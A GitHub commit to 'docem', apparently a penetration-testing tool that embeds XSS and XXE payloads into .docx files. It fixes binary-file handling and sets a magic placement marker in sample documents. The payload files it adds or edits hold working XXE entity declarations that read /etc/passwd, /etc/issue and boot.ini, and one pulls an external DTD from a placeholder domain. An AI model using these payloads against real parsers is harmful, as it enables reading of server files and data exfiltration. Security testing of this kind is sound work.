Skip to content

Commit

Permalink
Fix - binary files fail. Only whitelist of files are allowed
Browse files Browse the repository at this point in the history
  • Loading branch information
whitel1st committed Sep 20, 2019
1 parent 5b98b0b commit f1cba51
Show file tree
Hide file tree
Showing 83 changed files with 57 additions and 25 deletions.
Empty file modified .gitignore 100644 → 100755
Empty file.
2 changes: 2 additions & 0 deletions README.md 100644 → 100755
Expand Up @@ -5,6 +5,8 @@ _| _| _|_| _|_|_| _|_| _|_|_| _|_|
_| _| _| _| _| _|_|_|_| _| _| _|
_| _| _| _| _| _| _| _| _|
_|_|_| _|_| _|_|_| _|_|_| _| _| _|
version 1.1
```


Expand Down
29 changes: 16 additions & 13 deletions docem.py
Expand Up @@ -324,22 +324,24 @@ def document_tree_embedding_points(paths, tree, magic_symbol):
# Read file and find all places
file_in_sample_path = tree[file_key_name]['path']

with open(file_in_sample_path, 'r') as file_in_sample:
file_in_sample_read = file_in_sample.read()
file_in_sample.close()
#print(file_in_sample_path)
if file_in_sample_path.endswith(('.xml','.txt','.rels','.vml')):
with open(file_in_sample_path, 'r') as file_in_sample:
file_in_sample_read = file_in_sample.read()
file_in_sample.close()

embedding_count = file_in_sample_read.count(magic_symbol)
embedding_count = file_in_sample_read.count(magic_symbol)

#tree_embedding will be consist only with those files does have magic symbols
if embedding_count != 0:
#tree_embedding will be consist only with those files does have magic symbols
if embedding_count != 0:

tree_embedding[file_key_name] = dict(tree[file_key_name])
tree_embedding[file_key_name]['count'] = embedding_count
tree_embedding[file_key_name]['places'] = [index for index in range(len(file_in_sample_read)) if file_in_sample_read.startswith(magic_symbol, index)]
tree_embedding[file_key_name]['content'] = file_in_sample_read
tree_embedding[file_key_name] = dict(tree[file_key_name])
tree_embedding[file_key_name]['count'] = embedding_count
tree_embedding[file_key_name]['places'] = [index for index in range(len(file_in_sample_read)) if file_in_sample_read.startswith(magic_symbol, index)]
tree_embedding[file_key_name]['content'] = file_in_sample_read

count_places += len(tree_embedding[file_key_name]['places'])
print('\t%d\tsymbols in %s'%(embedding_count,file_key_name))
count_places += len(tree_embedding[file_key_name]['places'])
print('\t%d\tsymbols in %s'%(embedding_count,file_key_name))


embedding_info['num_of_files_to_embed'] = len(tree_embedding)
Expand Down Expand Up @@ -460,7 +462,7 @@ def interface_print_example():
args = parser.parse_args()

# Symbol that is used to determine a place where to place payload
magic_symbol = ''
magic_symbol = 'XXCb8bBA9XX'

path_to_complex_file = args.sample

Expand All @@ -469,6 +471,7 @@ def interface_print_example():
if os.path.exists(args.sample) and os.path.exists(args.payload_file):
print('Document Embed XSS & XXE tool')

print('\nCurrent magic_symbol: ',magic_symbol)

payloads = payloads_read_file(args.payload_file)

Expand Down
Empty file modified payloads/no_payload.txt 100644 → 100755
Empty file.
Empty file modified payloads/xss_all.txt 100644 → 100755
Empty file.
Empty file modified payloads/xss_tiny.txt 100644 → 100755
Empty file.
Empty file modified payloads/xxe_special_1.txt 100644 → 100755
Empty file.
Empty file modified payloads/xxe_special_2.txt 100644 → 100755
Empty file.
1 change: 0 additions & 1 deletion payloads/xxe_special_3.txt 100644 → 100755
Expand Up @@ -3,4 +3,3 @@
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_2 SYSTEM \"file:///etc/lsb-release\">]>","reference":"&xxe_canary_2;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_3 SYSTEM \"file:///etc/passwd\">]>","reference":"&xxe_canary_3;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_4 SYSTEM \"file:///c:/boot.ini\">]>","reference":"&xxe_canary_4;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_4 SYSTEM \"custom_domain_here\">]>","reference":"&xxe_canary_4;"}
2 changes: 1 addition & 1 deletion payloads/xxe_special_4.txt 100644 → 100755
Expand Up @@ -4,4 +4,4 @@
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_3 SYSTEM \"file:///etc/passwd\">]>","reference":"&xxe_canary_3;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_4 SYSTEM \"file:///c:/boot.ini\">]>","reference":"&xxe_canary_4;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_5 SYSTEM \"file:///etc/issue\">]>","reference":"&xxe_canary_5;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY % xxe_canary_6 SYSTEM \"file:///etc/issue\"><!ENTITY % dtd SYSTEM "custom_domain">%dtd;%trick;]> ]>","reference":""}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY % xxe_canary_6 SYSTEM \"file:///etc/issue\"><!ENTITY % dtd SYSTEM \"custom_domain\">%dtd;%trick;]> ]>","reference":""}
6 changes: 6 additions & 0 deletions payloads/xxe_special_5.txt
@@ -0,0 +1,6 @@
{"vector":"<!DOCTYPE docem [<!ENTITY xxe_test \"XXE_STRING\">]>","reference":""}
{"vector":"<!DOCTYPE docem [<!ENTITY xxe_canary_0 \"XXE_STRING\">]>","reference":"&xxe_canary_0;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_2 SYSTEM \"file:///etc/lsb-release\">]>","reference":"&xxe_canary_2;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_3 SYSTEM \"file:///etc/passwd\">]>","reference":"&xxe_canary_3;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_4 SYSTEM \"file:///c:/boot.ini\">]>","reference":"&xxe_canary_4;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_4 SYSTEM \"custom_domain_here\">]>","reference":"&xxe_canary_4;"}
Empty file modified pics/diag0.png 100644 → 100755
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Empty file modified pics/diag1.png 100644 → 100755
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Empty file modified pics/diag2.png 100644 → 100755
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Empty file modified pics/screenshot.png 100644 → 100755
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Empty file modified requirements.txt 100644 → 100755
Empty file.
Empty file modified samples/xss/docx/xss_sample_0.docx 100644 → 100755
Empty file.
Empty file modified samples/xss/docx/xss_sample_0_docx/[Content_Types].xml 100644 → 100755
Empty file.
Empty file modified samples/xss/docx/xss_sample_0_docx/_rels/.rels 100644 → 100755
Empty file.
Empty file.
Empty file modified samples/xss/docx/xss_sample_0_docx/customXml/item1.xml 100644 → 100755
Empty file.
Empty file modified samples/xss/docx/xss_sample_0_docx/customXml/itemProps1.xml 100644 → 100755
Empty file.
Empty file modified samples/xss/docx/xss_sample_0_docx/docProps/app.xml 100644 → 100755
Empty file.
Empty file modified samples/xss/docx/xss_sample_0_docx/docProps/core.xml 100644 → 100755
Empty file.
Empty file modified samples/xss/docx/xss_sample_0_docx/docProps/custom.xml 100644 → 100755
Empty file.
Empty file modified samples/xss/docx/xss_sample_0_docx/word/_rels/document.xml.rels 100644 → 100755
Empty file.
Empty file modified samples/xss/docx/xss_sample_0_docx/word/document.xml 100644 → 100755
Empty file.
Empty file modified samples/xss/docx/xss_sample_0_docx/word/fontTable.xml 100644 → 100755
Empty file.
Empty file modified samples/xss/docx/xss_sample_0_docx/word/settings.xml 100644 → 100755
Empty file.
Empty file modified samples/xss/docx/xss_sample_0_docx/word/styles.xml 100644 → 100755
Empty file.
Empty file modified samples/xss/docx/xss_sample_0_docx/word/theme/theme1.xml 100644 → 100755
Empty file.
Empty file modified samples/xss/docx/xss_sample_0_wo_magic.docx 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe.docx 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe/[Content_Types].xml 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe/_rels/.rels 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe/docProps/app.xml 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe/docProps/core.xml 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe/word/_rels/document.xml.rels 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe/word/document.xml 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe/word/fontTable.xml 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe/word/settings.xml 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe/word/styles.xml 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe/word/stylesWithEffects.xml 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe/word/theme/theme1.xml 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe/word/webSettings.xml 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe_mod0.docx 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe_mod0/[Content_Types].xml 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe_mod0/_rels/.rels 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe_mod0/docProps/app.xml 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe_mod0/docProps/core.xml 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe_mod0/word/_rels/document.xml.rels 100644 → 100755
Empty file.
2 changes: 1 addition & 1 deletion samples/xxe/sample_oxml_xxe_mod0/word/document.xml 100644 → 100755
@@ -1,2 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14"><w:body><w:p w:rsidR="00CB06A3" w:rsidRDefault="00CB06A3"><w:r><w:t>Sample</w:t></w:r></w:p><w:p w:rsidR="00CB06A3" w:rsidRDefault="00CB06A3"><w:r w:rsidRPr="00CB06A3"><w:t></w:t></w:r><w:r><w:t xml:space="preserve"> ፨</w:t></w:r><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:bookmarkEnd w:id="0"/></w:p><w:sectPr w:rsidR="00CB06A3"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14"><w:body><w:p w:rsidR="00CB06A3" w:rsidRDefault="00CB06A3"><w:r><w:t>Sample</w:t></w:r></w:p><w:p w:rsidR="00CB06A3" w:rsidRDefault="00CB06A3"><w:r w:rsidRPr="00CB06A3"><w:t></w:t></w:r><w:r><w:t xml:space="preserve"> XXCb8bBA9XX</w:t></w:r><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:bookmarkEnd w:id="0"/></w:p><w:sectPr w:rsidR="00CB06A3"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>
Empty file modified samples/xxe/sample_oxml_xxe_mod0/word/fontTable.xml 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe_mod0/word/settings.xml 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe_mod0/word/styles.xml 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe_mod0/word/stylesWithEffects.xml 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe_mod0/word/theme/theme1.xml 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe_mod0/word/webSettings.xml 100644 → 100755
Empty file.
Empty file modified samples/xxe/sample_oxml_xxe_mod1.docx 100644 → 100755
Empty file.
2 changes: 1 addition & 1 deletion samples/xxe/sample_oxml_xxe_mod1/[Content_Types].xml 100644 → 100755
@@ -1,2 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/><Override PartName="/word/stylesWithEffects.xml" ContentType="application/vnd.ms-word.stylesWithEffects+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/><Override PartName="/word/webSettings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/><Override PartName="/word/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/><Override PartName="/word/stylesWithEffects.xml" ContentType="application/vnd.ms-word.stylesWithEffects+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/><Override PartName="/word/webSettings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/>XXCb8bBA9XX<Override PartName="/word/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
Empty file modified samples/xxe/sample_oxml_xxe_mod1/_rels/.rels 100644 → 100755
Empty file.
2 changes: 1 addition & 1 deletion samples/xxe/sample_oxml_xxe_mod1/docProps/app.xml 100644 → 100755
@@ -1,2 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>Normal</Template><TotalTime>0</TotalTime><Pages>1</Pages><Words>2</Words><Characters>16</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>1</Lines><Paragraphs>1</Paragraphs><ScaleCrop>false</ScaleCrop><Company></Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>17</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>14.0000</AppVersion></Properties>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>Normal</Template><TotalTime>0</TotalTime><Pages>1</Pages><Words>2</Words><Characters>16</Characters><Application>XXCb8bBA9XXMicrosoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>1</Lines><Paragraphs>1</Paragraphs><ScaleCrop>false</ScaleCrop><Company></Company><LinksUpToDate>XXCb8bBA9XX</LinksUpToDate><CharactersWithSpaces>17</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>14.0000</AppVersion></Properties>
2 changes: 1 addition & 1 deletion samples/xxe/sample_oxml_xxe_mod1/docProps/core.xml 100644 → 100755
@@ -1,2 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title></dc:title><dc:subject></dc:subject><cp:keywords></cp:keywords><dc:description></dc:description><dcterms:created xsi:type="dcterms:W3CDTF">2015-02-27T15:31:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2015-02-27T15:31:00Z</dcterms:modified></cp:coreProperties>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title></dc:title><dc:subject></dc:subject><cp:keywords></cp:keywords><dc:description></dc:description><dcterms:created xsi:type="dcterms:W3CDTF">XXCb8bBA9XX2015-02-27T15:31:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2015-02-27T15:31:00Z</dcterms:modified></cp:coreProperties>
2 changes: 1 addition & 1 deletion samples/xxe/sample_oxml_xxe_mod1/word/_rels/document.xml.rels 100644 → 100755
@@ -1,2 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId2" Type="http://schemas.microsoft.com/office/2007/relationships/stylesWithEffects" Target="stylesWithEffects.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/></Relationships>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId2" Type="http://schemas.microsoft.com/office/2007/relationships/stylesWithEffects" Target="stylesWithEffects.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/>XXCb8bBA9XX<Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/></Relationships>
2 changes: 1 addition & 1 deletion samples/xxe/sample_oxml_xxe_mod1/word/document.xml 100644 → 100755
@@ -1,2 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14"><w:body><w:p w:rsidR="00CB06A3" w:rsidRDefault="00CB06A3"><w:r><w:t>Sample</w:t></w:r></w:p><w:p w:rsidR="00CB06A3" w:rsidRDefault="00CB06A3"><w:r w:rsidRPr="00CB06A3"><w:t></w:t></w:r><w:r><w:t xml:space="preserve"> ፨</w:t></w:r><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:bookmarkEnd w:id="0"/></w:p><w:sectPr w:rsidR="00CB06A3">፨<w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14"><w:body><w:p w:rsidR="00CB06A3" w:rsidRDefault="00CB06A3"><w:r><w:t>Sample</w:t></w:r></w:p><w:p w:rsidR="00CB06A3" w:rsidRDefault="00CB06A3"><w:r w:rsidRPr="00CB06A3"><w:t></w:t></w:r><w:r><w:t xml:space="preserve"> XXCb8bBA9XX</w:t></w:r><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:bookmarkEnd w:id="0"/></w:p><w:sectPr w:rsidR="00CB06A3">XXCb8bBA9XX<w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>
Empty file modified samples/xxe/sample_oxml_xxe_mod1/word/fontTable.xml 100644 → 100755
Empty file.

0 comments on commit f1cba51

Please sign in to comment.